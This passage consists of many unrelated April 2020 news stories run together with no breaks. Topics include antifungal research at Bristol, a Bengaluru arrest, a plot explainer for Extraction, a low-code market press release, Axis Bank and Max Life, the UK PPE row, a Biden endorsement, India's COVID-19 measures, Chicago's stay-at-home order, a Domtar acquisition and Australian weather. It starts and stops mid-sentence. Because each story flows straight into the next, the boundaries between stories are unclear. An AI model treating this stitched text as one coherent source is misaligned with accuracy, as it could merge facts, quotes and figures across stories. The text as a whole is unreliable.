improve the efficiency of currently approved antifungal drugs such as fluconazole but with minimal side effects. Recent studies have shown that microorganisms can communicate with each other using various chemical signals. Some microorganisms use these signals to control other competing microorganisms and these signals could potentially be used as antimicrobial drugs. In the study, published in International Journal of Pharmaceutics, the researchers investigated whether using some of these microbial signals from bacteria could improve the activity of fluconazole against Candida biofilms. The research team found that a specific chemical signal released from a major bacterial pathogen can be successfully used to significantly improve the activity of fluconazole against Candida biofilms by packaging them to small lipid molecules and delivering them together. The pioneering research is one of only a few studies to demonstrate the possibility of using naturally existing microbial compounds against other pathogenic microorganisms. Dr Nihal Bandara, Lecturer in Oral Microbiology from the Bristol Dental School and corresponding author, said: "It is well known that microorganisms live as "slime" communities, called "microbial biofilms", and are responsible for up to 80 per cent of all infections in humans. These microorganisms are extremely difficult to remove even with the most effective antimicrobial drugs. They can lead to a significant number of deaths and disabilities to patients and can be a healthcare and financial burden to economies around the world. "It was really exciting to discover that we can use various signals released by microorganisms against others to control infections." The research team would like to develop the technique used in the study and investigate the efficacy of new drug formulation using an animal model. In the future, it is hoped researchers and pharmaceutical industries will explore the antimicrobial properties of microbial chemical signals so they can be developed into cost effective treatments. ### This work was supported by IADR Innovation in Oral Care Award 2016 awarded to Dr Nihal Bandara by the International Association for Dental Research and GlaxoSmithKline. The study was an international collaboration by a team from the University of Bristol, UK; University of Texas at Austin, USA; University of Queensland, Australia and University of Sharjah, UAE. By Express News Service BENGALURU: The police on Monday arrested Irfan, the prime accused in the Padarayanapura violence case. Until now, the police have arrested 126 suspects in connection with the incident that occurred in Padarayanapura on the evening of April 19, where some people had resorted to vandalism and also allegedly attacked BBMP health officials and police personnel. However, Irfan who is suspected to have triggered the incident and had emerged as the prime accused in the case was at large since a week, with the JJ Nagar police and CCB sleuths looking for him. Based on credible information that Irfan had taken shelter in the house of a relative at Kadugondanahalli, the police raided the house on Monday afternoon and nabbed him. The accused Irfan had dodged the police by hiding in a house from one week. He had also switched off his phone, fearing that the police would track him down. However, our teams gathered information about his whereabouts and successfully nabbed him. The relative who had given him shelter has also been detained, a police officer said. The latest Netflix film Extraction is evidently winning hearts on the internet. The film revolves around the story of a black market mercenary Chris Hemsworth who is assigned for a deadly mission to Dhaka to retrieve the teenage son of India's biggest crimelord. Read below to know the entire plot of Extraction along with the explanation for the ambiguous ending of the film. Also read: Extraction starring Chris Hemsworth had an alternate ending? Read details Disclaimer - major spoilers ahead Extraction story explained In Extraction, Chris Hemsworth's character Tyler Rake is visibly damaged as he is haunted by the memories of his dead son. Rake can be seen always going in full-force towards fatal activities like jumping off a cliff. Tyler Rake is assigned the operation to rescue Ovi Mahajan, India's biggest crimelord's son, who is kidnapped by Bangladesh's biggest crimelord. Things go unimaginably out of control for Rake when hell breaks loose to find Ovi in Bangladesh as Rake frees him from the clutches of gangsters. Also read: Will there be an 'Extraction 2' starring Chris Hemsworth? Director shares details On the other hand, Saju, played by Randeep Hooda, is also on the lookout for Ovi as he is the assistant of his father. Having a moral responsibility to save Ovi, Saju's character can also be seen making extreme efforts to save him. After a cut-throat knife battle between Saju and Tyler takes place in the streets of Dhaka, Tyler successfully saves Ovi and brings him to a safe house. Also read: Chris Hemsworth speaking Bangla in Netflix's 'Extraction' leaves netizens 'flipped' Towards the end of the film, Tyler and Saju join forces to bring Ovi to safety and send him back home. The climax takes place on a bridge where intense action takes place. Towards the end of the climax, Saju loses his life in battle while Tyler Rake is badly wounded. He successfully saves Ovi from getting assassinated on the bridge and prompts him to run to safety. As Ovi is at a secured location, a badly wounded Tyler Rake decides to jump off the bridge right into the river and sacrifices his life as memories of his dead son flash through his eyes. Also read: Extraction on Netflix starring Chris Hemsworth debuts fresh on Rotten Tomatoes But during the final shot of the film, Ovi Mahajan, now secured and happy in his home, can be seen coming out of a swimming pool. As he comes out of the water, a mysterious looking figure can be seen looking over, the film ends as Ovi catches a glance of the man. The film ends suggesting that Tyler Rake might still be alive. Extraction ending explained The ambiguous ending of the film has evidently put a number of fans in confusion. But, the director of the film has now revealed that viewer can make the ending their own and choose whether they want to keep Tyler Rake alive in their mind or not. The director feels that if one person feels that Tyler rightfully sacrificed his life and is now dead, then they consider the character dead. Whereas, if they wished for him to live, then they can believe that Tyler Rake was the mysterious figure looking over Ovi Mahajan in the final shot of the film. Also read: Randeep Hooda opens up about his bonding with Chris Hemsworth while shooting 'Extraction' Get the latest entertainment news from India & around the world. Now follow your favourite television celebs and telly updates. Republic World is your one-stop destination for trending Bollywood news. Tune in today to stay updated with all the latest news and headlines from the world of entertainment. CHICAGO, April 28, 2020 /PRNewswire/ -- According to new market research report "Low-Code Development Platform Market by Component (Platform and Services), Application Type, Deployment Type (Cloud and On-Premises), Organization Size (SMEs and Large Enterprises), Industry, and Region - Global Forecast to 2025", published by MarketsandMarkets, the Low-Code Development Platform Market is projected to grow from USD 13.2 billion in 2020 to USD 45.5 billion by 2025, at a Compound Annual Growth Rate (CAGR) of 28.1% during the forecast period. The increasing need of digitalization and maturity of agile DevOps practices are expected to enhance the use of Low-Code Development Platform Market across the globe. Request for PDF Brochure: https://www.marketsandmarkets.com/pdfdownloadNew.asp?id=103455110 Browse in-depth TOC on "Low-Code Development Platform Market" 133 - Tables 33 - Figures 161 - Pages Based on organization size, the SMEs segment to lead the market in 2020 Small businesses are expected to witness a higher growth in the adoption of low-code development platform and services. The growing awareness of the benefits of process automation, the increasing focus of governments on digital transformation, and business expansions by global vendors are expected to be the driving factors for the growth of the Low-Code Development Platform Market. The adoption rate for low-code development platform and services is high in SMEs and is expected to dominate the Low-Code Development Platform Market, in terms of market size, during the forecast period. Based on industry, the BFSI to grow at the fastest rate during the forecasted period. The BFSI industry requires low-code development platform and services at a large-scale due to the voluminous information produced across these organizations. Low-code development platform and services helps the BFSI industry in enriching the customer experience using new financial products and services driving the overall market during the forecast period. Speak to Analyst: https://www.marketsandmarkets.com/speaktoanalystNew.asp?id=103455110 North America to hold the largest market share during the forecast period. North America has the presence of several prominent market players delivering advanced solutions to all the end users in the regions. Owing to their strong economies, the US and Canada are expected to be major contributors to the growth of the Low-Code Development Platform Market. Apart from this factor, the geographical presence, strategic investments, partnerships, and significant Research and Development (R&D) activities are contributing to the hefty deployments of Low-Code Development Platform Market solutions. Key pure play vendors, such as Salesforce, Microsoft, Appian, and Oracle, offer enhanced low-code development platform and services to cater to the needs of customers. Such factors are expected to fuel the growth of the global Low-Code Development Platform Market in North America. Browse Adjacent Markets: Software and Services Market Research Reports & Consulting Browse Related Reports: Digital Process Automation Market by Component, Business Function (Sales Process Automation, Supply Chain Automation, Claims Automation, and Marketing Automation), Deployment Type, Organization Size, Industry Vertical, and Region - Global Forecast to 2023 https://www.marketsandmarkets.com/Market-Reports/digital-process-automation-market-20502054.html Rapid Application Development Market by Type (Low-code and No-code), Tool (Mobile-based, Web-based, Desktop-based, and Server-based), Business Function, Deployment Model, Organization Size, Industry Vertical, and Region - Global Forecast to 2023 https://www.marketsandmarkets.com/Market-Reports/rapid-application-development-market-252654522.html About MarketsandMarkets MarketsandMarkets provides quantified B2B research on 30,000 high growth niche opportunities/threats which will impact 70% to 80% of worldwide companies' revenues. Currently servicing 7500 customers worldwide including 80% of global Fortune 1000 companies as clients. Almost 75,000 top officers across eight industries worldwide approach MarketsandMarkets for their painpoints around revenues decisions. Our 850 fulltime analyst and SMEs at MarketsandMarkets are tracking global high growth markets following the "Growth Engagement Model - GEM". The GEM aims at proactive collaboration with the clients to identify new opportunities, identify most important customers, write "Attack, avoid and defend" strategies, identify sources of incremental revenues for both the company and its competitors. MarketsandMarkets now coming up with 1,500 MicroQuadrants (Positioning top players across leaders, emerging companies, innovators, strategic players) annually in high growth emerging segments. MarketsandMarkets is determined to benefit more than 10,000 companies this year for their revenue planning and help them take their innovations/disruptions early to the market by providing them research ahead of the curve. MarketsandMarkets's flagship competitive intelligence and market research platform, "Knowledge Store" connects over 200,000 markets and entire value chains for deeper understanding of the unmet insights along with market sizing and forecasts of niche markets. Contact: Mr. Sanjay Gupta MarketsandMarkets INC. 630 Dundee Road Suite 430 Northbrook, IL 60062 USA: +1-888-600-6441 Email: sales@marketsandmarkets.com Visit Our Web Site: https://www.marketsandmarkets.com Research Insight: https://www.marketsandmarkets.com/ResearchInsight/low-code-development-platforms-market.asp Content Source: https://www.marketsandmarkets.com/PressReleases/low-code-development-platforms.asp Logo: https://mma.prnewswire.com/media/660509/MarketsandMarkets_Logo.jpg The bank has signed a definitive agreement with Max Financial Services Limited (MFS), the majority shareholder in Max Life, to increase its stake and become a joint venture partner in the insurer. Mumbai: The country's third-largest private banker Axis Bank is set to pick up 30 per cent stake in Max Life in a stock deal for an undisclosed amount. Post the completion of the series of transactions, Max Life will become a 70:30 joint venture between MFS and Axis Bank. The proposed transactions are subject to approval of requisite corporate and regulatory authorities (including IRDAI, RBI and CCI), a company statement said. The development will result in a mutually beneficial and enduring relationship between Axis Bank and Max Life and bring the stability of a long-term partnership to India's fourth-largest private life insurance franchise. The joint venture arrangement will significantly improve Max Life's competitive position vis-a-vis its competitors, including the other large bank-owned private life insurers, the statement added. The Boards of Axis Bank, MFS and Max Life approved the transaction late on April 27, though the deal was under discussion since the three companies signed a confidentiality and exclusivity arrangement on February 20, 2020 to explore the possibility of a long-term strategic partnership between Axis Bank and Max Life. Max Financial Services presently holds a 72.5% stake in Max Life while Mitsui Sumitomo Insurance (MSI) owns 25.5% stake. Axis Bank also has a minor stake in the life insurer. The aforesaid transaction with Axis Bank follows the ongoing swapping by MSI of 20.6% stake it holds in Max Life with a 21.9% stake in MFS. MFS also plans to purchase MSI's balance stake in Max Life. Post the completion of the deal, Max Life's tagline will include Axis Bank's name. Axis Bank is the third-largest private bank and Max Life is the fourth-largest private life insurer in India. The two companies have had a successful business relationship for over a decade, providing long-term saving and protection products to over 19 lakh customers. The total premium generated through this relationship has aggregated to over Rs 38,000 crore. Announcing the transaction, Amitabh Chaudhry, MD and CEO, Axis Bank, said: "We believe this transaction will allow us to deepen our working relationship, leading to better integrated teams and infrastructure and a superior alignment in our approach." Analjit Singh, Founder and Chairman, Max Group, said: "We at Max Group have had a long-standing record of successful joint ventures. We achieve this by choosing partners with complementary skills, a matching belief system and a shared vision for the future of the business. I believe that in Axis, we have found an exceptional partner and we have the conviction that this will make Max Life fundamentally stronger, better performing and will bring stability to the franchise." A BBC documentary last night claimed ministers counted every glove individually instead of in pairs to boast of delivering one billion bits of PPE to NHS staff frontline in their fight against the coronavirus - as yet another minister suffered a shambolic round of interviews today. The Panorama investigation said Number 10 had failed to procure enough protective equipment, such as masks, gowns and visors. It also accused ministers of counting 547million gloves individually, instead of as 273.5million pairs, to fiddle PPE numbers. The one billion figure also included items which are not considered PPE, including millions of cleaning products, waste bags, detergents and paper towels. Good Morning Britain presenter Piers Morgan called the PPE scandal unveiled by Panorama a 'national disgrace' and accused Safeguarding minister Victoria Atkins of laughing when he was interviewing her. It comes as a plane carrying 1.2million pieces of protective equipment landed at Bournemouth Airport this morning. Also today, Matt Hancock was confronted this morning by the son of a doctor who had warned the government about a lack of PPE for NHS staff before he died of coronavirus. Good Morning Britain presenter Piers Morgan called the PPE scandal unveiled by Panorama a 'national disgrace' and accused Safeguarding minister Victoria Atkins of laughing More than 1.2m pieces of protective equipment were on board the European Aviation flight which landed at Bournemouth Airport in Dorset this morning Intisar Chowdhury, the son of Dr Abdul Mabud Chowdhury, accused the Health Secretary of 'ignoring' his father's plea for more vital protective equipment. HEALTH SECRETARY IS CONFRONTED BY SON OF A DOCTOR WHO DIED OF COVID-19 Intisar Chowdhury, the son of Dr Abdul Mabud Chowdhury (pictured), accused the Health Secretary of 'ignoring' his father's plea for more vital protective equipment Matt Hancock was confronted this morning by the son of a doctor who had warned the government about a lack of PPE for NHS staff before he died of coronavirus. Intisar Chowdhury, the son of Dr Abdul Mabud Chowdhury, accused the Health Secretary of 'ignoring' his father's plea for more vital protective equipment. Mr Chowdhury urged Mr Hancock to apologise and to 'openly acknowledge there have been mistakes in handling this virus'. Mr Hancock insisted the government 'took very, very seriously what your father said' and ministers have been 'working round the clock' to make sure frontline staff have the right kit to keep them safe. Mr Hancock was appearing on an LBC Radio phone-in and had begun to take questions from members of the public when Mr Chowdhury challenged him. Mr Chowdhury asked Mr Hancock: 'When he was unwell he wrote an open letter to the Prime Minister appealing for more PPE for NHS frontline workers, it was a request that was ignored, two weeks later he passed away and since then over 100 NHS and social care workers have passed away from contracting the virus. 'Do you regret not taking my dad's concerns, my 11-year-old sister dad's concerns and my wife's husband's concerns seriously enough for my dad that we've all lost?' The Health Secretary replied: 'Intisar, I'm really sorry about your dad's death and I have seen the comments you've made and what you've said in public and I think it's very brave of you to be speaking out in public. 'We took very very seriously what your father said and we've been working around the clock to ensure that there's enough protective equipment and in the case of anybody who works in the NHS or in social care and has died from coronavirus we look into it in each case to find out the reasons where they might have caught it and what lessons we can learn.' Advertisement Morgan asked Ms Atkins why the UK had downgraded Covid-19 from HCID, which is the high consequence infectious category. The minister then appeared to smirk and said: 'I am not a scientist Piers.' He interjected: 'Well you can laugh. I don't know why you all keeping laughing when I talk about this. It's not funny is it? Look you just laughed again.' Ms Atkins said: 'Piers, no its not and I know you accused another colleague of mine laughing and I was not laughing.' Morgan shot back: 'These are not trivial matters minister let me explain why. By every criteria HCID fits the bill. It's the biggest public health crisis this country has faced in 100 years.' He then accused the minister of downgrading the virus so they didn't have a legal obligation to give health workers 'the right amount of PPE kit.' He added that Ms Atkins appeared to know 'nothing' about why the decision was taken to downgrade Covid-19. Ms Atkins responded that she was on the programme to talk about the domestic abuse bill, and that the government is 'following the scientific advice.' She later appeared on BBC Breakfast and did not deny the claims made on Panorama and said she would not be 'drawn into the detail of these figures'. She told BBC Breakfast that she had a box of gloves and they were not badged up as being in pairs, although said she was 'not going to be drawn into the detail of these figures'. But Ms Atkins said: 'We have been very transparent about figures throughout and we have got to keep with transparency because that is how we keep people's trust.' 'I'm very, very sorry to hear of that report.' It comes as a shocking poll by the Royal College of Physicians yesterday found that a quarter of doctors are having to re-use protective kit meant to be worn just once. The college's leader said the survey revealed a 'terrible state of affairs' and in a further blow to the Government an investigation found that officials failed to buy enough gowns when setting up an emergency stockpile in 2009. Ministers are also accused of ignoring a warning last June that they would need to purchase more. The protective clothes should be worn only once because washing them at temperatures high enough to kill coronavirus weakens their effectiveness. The BBC Panorama investigation, which was screened last night and is available on iPlayer, found the Government failed to stockpile enough gowns, visors and swabs needed for testing. Ministers apparently then ignored a warning last summer from experts on the New and Emerging Respiratory Virus Threats Advisory Group that they should buy additional gowns. A shocking poll by the Royal College of Physicians found that a quarter of doctors are having to re-use protective kit meant to be worn just once (file photo) The failure to provide enough PPE to hospitals and care homes has been one of the biggest issues in the pandemic The shortages are affecting care homes as well. James Bullion, of the Association of Directors of Adult Social Services, told the BBC's World at One: 'It's been promised for some weeks and not arrived.' Chris Hopson of NHS Providers, which represents hospital trusts, said: 'It will be important when the time comes for a public inquiry to examine why the pandemic stockpile was not configured for an epidemic like the one we face today.' Health expert says government acted 'too little too late' on PPE provision Appearing on Good Morning Britain this morning to discuss the startling revelations from Panorama's programme last night, Professor John Ashton slammed the government for its inaction. He said: 'The story has become clearer at this point we know the government acted too little too late at each stage and even before this whole thing started at the end of January we weren't prepared. 'We know that back in 2009 with the swine flu we did pretty well actually, Dame Deidre Hines report showed that. 'So between 2009 and today we have let it go, and the planning documents have not been kept up to date, the stockpiles clearly haven't been kept as they should have been 'And then there was this operation sigma in 2016, the report has never seen the light of day, and the findings have never been acted on so we were in bad shape even before. 'In my view the Prime Minister failed to chair cobra at the beginning of February when he would have been in a position to see where we were and get started on catching up with the PPE and the testing which we have suffered from ever since.' Advertisement It comes after a planeload of essential PPE for frontline medical staff battling the coronavirus has landed in the UK. More than 1.2m pieces of protective equipment were on board the European Aviation flight which landed at Bournemouth Airport in Dorset this morning. The delivery is the first of eight planes scheduled to arrive from China over the coming days, easing the strain on the NHS. A Royal College's survey completed by 2,129 members also highlighted concerns that protective equipment was poorly fitting. Nearly a third 31 per cent said they had not had their facemasks 'fit tested' to ensure they provided maximum protection. Just 69 per cent said they were always able to access the vital long-sleeved gowns. The figure for goggles was even lower at 50 per cent. Overall 27 per cent said they could not get the equipment they needed, which was up from 22 per cent when the college carried out the same survey three weeks ago. Some 27 per cent of doctors were re-using their personal protective equipment or had done so. Its president, Professor Andrew Goddard, said: 'Many personal protective equipment items are designed for single use and should only be re-used in extreme circumstances. 'That so many people are having to re-use PPE shows how desperate the shortages are. 'This is a truly terrible state of affairs. As a bare minimum we expect our health service to provide the equipment we need to protect ourselves and our patients.' The number of new cases continued to rise in the latest data, but the rate has slowed significantly Indian-American Congresswoman Pramila Jayapal has endorsed Joe Biden's 2020 White House bid, saying the former vice president is a deeply dedicated public servant with the ability to unite the American people. Biden, 77, is the presumptive nominee of the Democratic party. Jayapal, the first Indian-American woman to be elected to the US House of Representatives, has been a traditional supporter of senior party leader and Senator Bernie Sanders, who has now dropped out of the race in support of Biden. "Today, I am announcing my endorsement of Vice President Joe Biden for President of the United States. Vice President Biden is a deeply dedicated public servant with the ability to unite the American people," Jayapal said in a statement. Jayapal, who is co-Chair of the Congressional Progressive Caucus, said that she believes wholeheartedly that government can and must be a force for good expanding access to healthcare and education, fighting the climate crisis, passing humane immigration reform, and looking out for working people instead of corporate interests. "I started this campaign as an ardent and vocal surrogate for Bernie Sanders, and while I have not always agreed with Vice President Biden on matters of policy, I am ready to work with him to craft and then implement the most progressive agenda of any candidate in history, she said. Jayapal was elected to the House of Representatives in 2016 from 7th Congressional District of Washington State, which encompasses most of Seattle and surrounding areas. She served as National Health Policy Chair and Washington State Campaign Chair for Sanders' 2020 presidential campaign. She has been a strong critic of President Donald Trump. "As President, Donald Trump has consistently sided with the wealthy and well-connected over working families and regular Americans, fostered racism and xenophobia and undermined democratic norms and the rule of law. "He and his administration have demonstrated repeatedly and most recently in their disastrous response to COVID-19 an inability to govern, make tough decisions, speak the truth and unite the country in common purpose. Any progress toward a better future requires defeating him this November, she said. The number of COVID-19 cases in the US are more than 965,000 and 54,877 deaths have been reported so far. "We are ready for a President who will encourage us to be as big as we can be, with compassion and bold leadership. That President must be Joe Biden, and I will do everything I can to help him win back the White House, take back the Senate, and preserve our House Majority. Together, I am confident we can build a more perfect union, Jayapal said. Congressman Dr Ami Bera was the first Indian-American lawmaker to endorse Biden for president during his primary elections. Indian origin Senator Kamala Harris has also endorsed Biden early this month. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Prime Minister Narendra Modi has told chief ministers to carefully study the situation in each district and zone, and assess the kind of activities that can be permitted without the coronavirus disease (Covid-19) spreading. He also said the key is to balance life and livelihood. The Indian Council of Medical Research asks all states to return rapid test kits sourced from China. Need to save lives, spur economy: PM India is focusing on a two-pronged strategy aimed at saving lives of its citizens while also restarting economic activities that have come to a virtual standstill due to the coronavirus disease (Covid-19) outbreak, Prime Minister Narendra Modi told chief ministers in a video conference on Monday. Read More Five Oppn-ruled states seek Rs 2.25L cr to tide over crisis Five opposition ruled states have sought close to Rs 2.25 lakh crore from the Centre to overcome stress on state finances due to the national lockdown, which some chief ministers want to extend beyond May 3 in close to 330 Covid-19 affected districts. Read More CMs call for extension of curbs in hot spot districts Most state governments recommended an extension of the lockdown in Covid-19 hot spots, a relaxation of rules to bring back stranded workers, and financial help to cope with a debilitating economic crisis in a meeting with Prime Minister Narendra Modi on Monday. Read More Covid-19: What you need to know today The death toll around the world has crossed 200,000 but theres a growing opinion that the actual number could be higher. Read More ICMR tells states not to deploy rapid kits of China firms Six days after it decided to evaluate rapid test kits (RTKs) used to test for Covid-19 antibodies after states reported huge variations in results, the Indian Council of Medical Research (ICMR) on Monday asked all states to which it sent the kits, sourced from China, to return them . Read More Need for refined rapid kits, better staff training for accurate results Inaccuracy in results from China-made rapid kits led India to suspend antibody testing for coronavirus disease last week. On Monday, the Indian Council of Medical Research (ICMR) asked for states to return the kits, citing problems with them highlighted in its own assessment. Read More Govt appeals against discrimination, says recovered patients dont spread infection Patients who recover from Covid-19 do not transmit the infection, the health ministry clarified on Monday, appealing to the people to stop discriminating against those who have fought off the disease as health-care workers engaged in treating cases. Read More Mild-symptom patients can be isolated at home Covid-19 patients who are pre-symptomatic or show mild symptoms can be isolated at home as long as they have enough space to avoid contact with other residents, according to a new Union health ministry guidelines issued on Monday. Whether a person can is fit for home isolation will be decided by the treating doctor and surveillance officer. According to existing guidelines, all positive cases are isolated and treated at a facility. Read More Action against 3 IRS officers for tax hike report The Central Board of Direct Taxes (CBDT) initiated an inquiry on Monday and moved to punish three Indian Revenue Service (IRS) officers for their roles and complicity in preparing and circulating a report that suggested raising the income-tax rate up to 40% to fund economic revival in the aftermath of the coronavirus pandemic,a finance ministry official said. Read More Once lockdown ends, govt plans Make in India boost After the extended 40-day Covid-19 lockdown that ends May 3, the government plans to aggressively push its Make in India programme by offering domestic and foreign manufacturers policy and fiscal incentives to manufacture locally even as it increases import duty to make imports expensive, two government officials familiar with the plan said. Read More States gear up to bring back stranded migrants Days after Uttar Pradesh and Madhya Pradesh started taking back stranded workers, the Rajasthan government issued guidelines to bring back stranded workers from other states and Odisha announced that it will have similar guidelines in place by the end of April. Read More In touch with those from state stranded elsewhere: Bihar CM Nitish Kumar Ensuring the relief and rehabilitation of hundreds of thousands of migrants from Bihar employed in other states is high on the list of priorities of chief minister Nitish Kumar. On the prospects of the workers returning home, Kumar said that when curbs on public movement are lifted after the extended lockdown ends on May 3, the host governments in other states must undertake health screening of Bihar migrants before letting them travel. Read More This Pune medical officer stays by the deceased in their final journey What is it like to oversee and ensure the burial and cremation of those dead from Covid-19? Pune Municipal Corporations (PMC) Assistant medical officer, Dr Kalpana Baliwant has been doing in these unprecedented times in a city besieged by the pandemic. Read More China warns Australia of total boycott if it pursues virus probe Chinese citizens could avoid Australian products and universities if Prime Minister Scott Morrison doesnt stop calling for an international enquiry into the coronavirus origins, a top Chinese official has said in what is fast developing into a testy diplomatic exchange between the two countries. Read More Vaccine could be ready in 12 months: Bill Gates Billionaire philanthropist Bill Gates is funding production of the seven most promising ideas for a vaccine as he refocuses his work on the coronavirus. Read More Chicago Mayor Lori Lightfoot tours the COVID-19 alternate care facility constructed at the McCormick Place convention center in Chicago, Illinois on April 17, 2020. (Tyler LaRiviere - Pool/Getty Images) Chicago Mayor: City Will Enforce Stay at Home Order Despite Judges Ruling Chicago will enforce Democratic Illinois Gov. J.B. Pritzkers stay at home order despite a ruling against the mandate, Mayor Lori Lightfoot said late Monday. A circuit court judge on Monday granted a restraining order against Pritzkers extended order, saying he could not take action to keep state Republican Rep. Darren Bailey at his home or limit his ability to travel within the state. Bailey is now freed from the harsh restrictions, which have largely kept Illinois residents at home for over a month. The ruling only applies to the state lawmaker for now but other legal challenges to the strict stay at home mandate are expected because of it. Lightfoot, a Democrat in her first term, said Chicago will continue enforcing Pritzkers order despite the ruling. I applaud and unequivocally support Governor Pritzkers actions to extend the stay-at-home order to protect all Illinois residents, she said in a statement. Nothing about todays ruling will change the citys intention to continue imposing the stay-at-home restrictions. We need this effort to keep all Chicagoans safe and health, and we will stay the course. Tara Kline makes acrylic face shields for front line responders at Dimos Pizza in Chicago, Illinois, on April 16, 2020. (Kamil Krzaczynski/AFP via Getty Images) Pritzker, a former businessman also in his first term, vowed to appeal the ruling, and said he still wants to extend his order beyond its previous April 30 expiration date. Rep. Darren Baileys decision to take to the courts to try and dismantle public health directives designed to keep people safe is an insult to all Illinoisans who have been lost during this COVID-19 crisis, and its a danger to millions of people who may get ill because of his recklessness, he told reporters on Monday. Lightfoot said she supports the plan to appeal, claiming the ruling would destroy the collective progress Illinois has made against the CCP (Chinese Communist Party) virus, a novel coronavirus that emerged from mainland China last year that causes the COVID-19 disease. The ruling does not mean that residents should return to their daily lives. In fact it means the opposite. Continued compliance will be needed to keep flattening the curve and ultimately lead to a decrease in cases. Contrary to what this ruling suggests, we must all be in this together, and only through cooperation and collaboration can we contain and limit the effects of the virus, she said. Bailey announced the lawsuit filing earlier in April, telling supporters that he expected Pritzker to let some regions of the state reopen before others. Illinois Gov. J.B. Pritzker, left, announces a shelter in place rule to combat the spread of COVID-19, during a news conference in Chicago on March 20, 2020. (Charles Rex Arbogast/AP Photo) I understand perfectly well the high concentrated areas of Chicago. I get that, he said in a Facebook live video. Its different down here, okay? So, no more nonsense. Enough is enough. Illinois had 45,883 confirmed COVID-19 cases as of April 27. The state is not releasing the number of recovered patients. Most people who get infected later recover; a significant number never show symptoms or suffer only mild symptoms. Symptoms include fever, fatigue, aches and pains, and chills. The state has also seen 1,983 deaths linked to the new disease. The vast majority of the cases and deaths are in Chicago or nearby counties. Some counties in the southern part of the state have as few as two confirmed cases. Your browser does not support the video tag. Domtar Completes the Purchase of Appvion Point of Sale Paper Business The agreement includes the coater and related equipment located at Appvion's West Carrollton, Ohio, facility as well as a license for all corresponding intellectual property. April 28, 2020 - Domtar Corporation today announced it has completed its purchase of the Point of Sale (POS) paper business from Appvion Operations, Inc. Terms of the deal were not disclosed. The business includes the coater and related equipment located at Appvions West Carrollton, Ohio, facility as well as a license for all corresponding intellectual property. With this acquisition, Domtar will become a large-scale, integrated producer of POS paper. We are excited to add this business to our portfolio. This acquisition provides us access to and insight into coated specialty papers market growing globally, Domtar President and Chief Executive Officer John Williams said. We are very pleased to have closed this transaction on time given the complexities around the COVID-19 pandemic. We are extremely proud of our employees and our newest employees for making this transition during this difficult time in our communities. Domtar is a leading provider of a wide variety of fiber-based products including communication, specialty and packaging papers, market pulp and absorbent hygiene products. The company has about 10,000 employees. For further information, visit: www.domtar.com . SOURCE: Domtar Corporation Two more confirmed cases were reported at Vi at the Glen in Glenview. The total was seven cases of COVID-19 as of Friday, and no deaths have been reported at the facility. The Citadel of Northbrook, a nursing home, reported two cases of COVID-19 at its facility and no deaths. Australia will get an early taste of winter this week, with rain, wind, snow and thunderstorms expected to batter the country's east and south east in the coming days. South Australia, Victoria, and parts of New South Wales could shiver through one of the coldest Aprils in years thanks to a low-pressure system from the polar region heading their way. 'This is a very strong and widespread cold outbreak across the south-east on the kind of scale we probably haven't seen in April since 2008,' the Bureau of Meteorology's Dr Adam Morgan said on Tuesday. The cold snap is expect to bring widespread rainfalls of over 15mm across the region from Wednesday and Thursday. Scroll down for video South Australia, Victoria, and parts of NSW are could shiver through one of the coldest April snaps in years A low-pressure system from the polar region is spinning south of Australia and expected to fall over the south east in the coming days, BoM said Maximum temperatures are also expected to be lower than average, with Adelaide likely to struggle to hit 15C on Wednesday. The bureau's acting NSW manager Jane Golding says the system will move into the west of NSW before travelling east over the next two to three days. 'We're expecting that to result in ... vigorous, cool, wintry conditions and blustery winds, some rain, some potential flooding, snow to low levels and also plummeting temperatures and thunderstorms in the mix as well,' Ms Golding said in a video weather briefing. The highest rainfall totals will be on the western slopes by Wednesday afternoon and evening, she said. 'The more broad, wider areas that see the increased rainfall rates, we're really looking at the central and the southwestern slopes of the ranges,' she said. Warnings are in place for possible minor to moderate flooding for the Tumut, Belubula and Bell rivers and Molong Creek, while a minor flood warning has been issued for the Bogan River. Ms Golding said the rain was expected to start to turn to snow, first affecting the alpine peaks by late Wednesday before the snow level starts to drop down over the course of Thursday and Friday. 'Places like Orange could see some snow by Thursday,' she said. The low pressure system will move into the west of NSW before travelling east over the next two to three days The Bureau of Meteorology says a weather system moving across SA on Wednesday will bring up to 60mm of rain to the Adelaide Hills Ms Golding said there would be a significant drop in temperatures over the next few days. 'This system's bringing with it some really cold air and we should see a marked change from spring-like conditions, which is what we've been seeing in autumn in NSW, to really feeling winter,' she said. Dr Morgan said that for some parts of northwest NSW, Thursday would be the coldest April day since the 1960s or 1970s. Dr Morgan said the winter weather would stay well into the weekend with no relief until early next week. Victoria is bracing for a cold snap beginning on Wednesday night in the southwest before spreading across the state until at least Saturday. If Melbourne drops below 13.2C on Thursday, it will be the city's coldest April day since 1995, the weather bureau confirmed. Northeast Victoria and East Gippsland are set to be smashed with up to 100mm of rain by the end of Wednesday, with a warning issued for heavy rain leading to flash flooding and damaging winds. Northeast Victoria and East Gippsland is set to be smashed with up to 100mm of rain by the end of Wednesday. Pictured: Gloomy skies over Victoria Temperatures will plummet on Thursday across the state as the winds turn southwesterly, reaching just 13C in Melbourne and snow could fall at 800m elevation. 'The weather is certainly going to play its part in encouraging us to stay indoors and self-isolate,' the weather bureau's Kevin Parkyn told reporters on Tuesday. A deep low pressure system will form near Tasmania before driving cold winds over the state during the weekend. Melbourne is likely to crack its 2019 total rainfall of 374.4mm, given 373.8mm of rain has already fallen in the city this year. Queenslanders can expect storms and damaging winds on Thursday with minimum temperatures to dip into the single digits over the weekend. Overnight temperatures on the Gold Coast are expected to drop to just seven degrees on Saturday while it will be a brisk nine degrees in Brisbane and eight on the Sunshine Coast. The maximum temperatures will also take a hit with the Gold Coast dipping to 23C on Saturday and 22C in Brisbane. Firefighters from Flagstaff, Arizona, have collected more than 10,000 bags of pine needles, leaves and cones to help reduce wildfire threats this season, footage posted on April 27 shows. Members of the Bear Jaw, Pinewood and Highlands fire services had distributed the bags to residents in Munds Park, Kachina, and Mountainaire. As per government advice, residents are encouraged to create a defensible space around their properties by removing vegetation and other flammable materials. Flagstaff firefighters said that the coronavirus pandemic will reduce the availability of federal and state resources so everything you can do to help now reduces the threat to you, your home, your community. Credit: United Flagstaff Fire Fighters Local 1505 via Storyful It doesnt make sense. Those are the words of Las Vegas resident Valicia Anderson. Interviewed by New York Times reporter Sabrina Tavernise, Tavernise reports that Anderson quickly runs out of fingers when she attempts to list all those she knows who've been rendered unemployed by the response of politicians to the new coronavirus. Tavernise goes on to report that victims close to Anderson include Her husband, the breadwinner of her family and a restaurant worker in the Rio casino. All 25 of his co-workers. Her grown son, in a temp agency. The 